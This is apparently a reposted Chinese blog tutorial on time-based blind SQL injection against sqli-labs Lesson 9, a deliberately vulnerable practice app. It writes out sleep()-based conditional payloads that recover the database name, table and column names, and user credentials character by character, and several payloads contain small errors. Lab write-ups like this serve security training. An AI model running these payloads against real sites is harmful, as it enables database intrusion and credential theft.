• 注入之基于时间的注入--sqlilabs-lesson9


    基于时间的注入

     当输入:and 1=1 与and 1=2 返回的界面一样时,可以用sleep()也就是基于时间的注入

    第一步:输入and 1=1以及and 1=2

    第二步:使用sleep()函数,可观察到刷新了10秒才返回界面

    第三步:猜测库名的长度 and if((length(database())=1),1,sleep(10)) --+

    所以库名字的长度为8

    第四步:猜测库名 and if((ascii(mid((database()),1,1))=1),1,sleep(10)) --+

    Mid(*,1,1)第一个1为位数,第二个1为长度,通过改变第一个1,从而爆破出库名

    查表为:s

    查表为:e

    查表为:c

    查表为:u

    查表为:r

    查表为:i

    查表为:t

    查表为:y

    库名:security

    下面的同理:

    第六步:查表的数目if((select count(tables)=4),1,sleep(10)) --+

    第七步:查表名If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1))=101,1,sleep(10))--+

    可以查到所有的表名为:emails,referers,uagents,users

    第八步:查users表的列值

    if((select count(column)=3),1,sleep(10)) --+

    If(ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),1,1))=105,1,sleep(5))--+

    可以知道:列名为:id,username,password

    第九步:查查username列以及password列的内容的长度

    if((select length(username)=4),1,sleep(10)) --+根据刷新速度,可知长度为4

    同理:

    if((select length(password)=4),1,sleep(10)) --+根据刷新速度,可知长度为4

    这里也可以使用bp爆破

    第十步:查username列以及password列的内容

    If((ascii(mid((select username from security.users limit 0,1),1,1))=116),1,sleep(10)) --+

    If((ascii(mid((select password from security.users limit 01),1,1))=116),1,sleep(10)) --+

    查表为:D

    查表为:u

    查表为:m

    查表为:b

    Username的内容为:Dumb

     查表为:D

    查表为:u

    查表为:m

    查表为:b

    内容为Dumb

  • 相关阅读:
    计算机基础 python基础内容 变量以及基础数据类型
    初识函数--生成器
    初识函数--迭代器
    初识函数
    初识小数据池和深浅拷贝
    初识基础数据类型 dict,set
    初识基础数据类型 list,tuple
    初识基础数据类型 int,str,bool
    初识变量
    自定义协议解决粘包问题,阿里云部署,udp协议套接字,socketserver模块的使用
  • 原文地址:https://www.cnblogs.com/glorious1314-151/p/12238807.html
Copyright © 2020-2023  润新知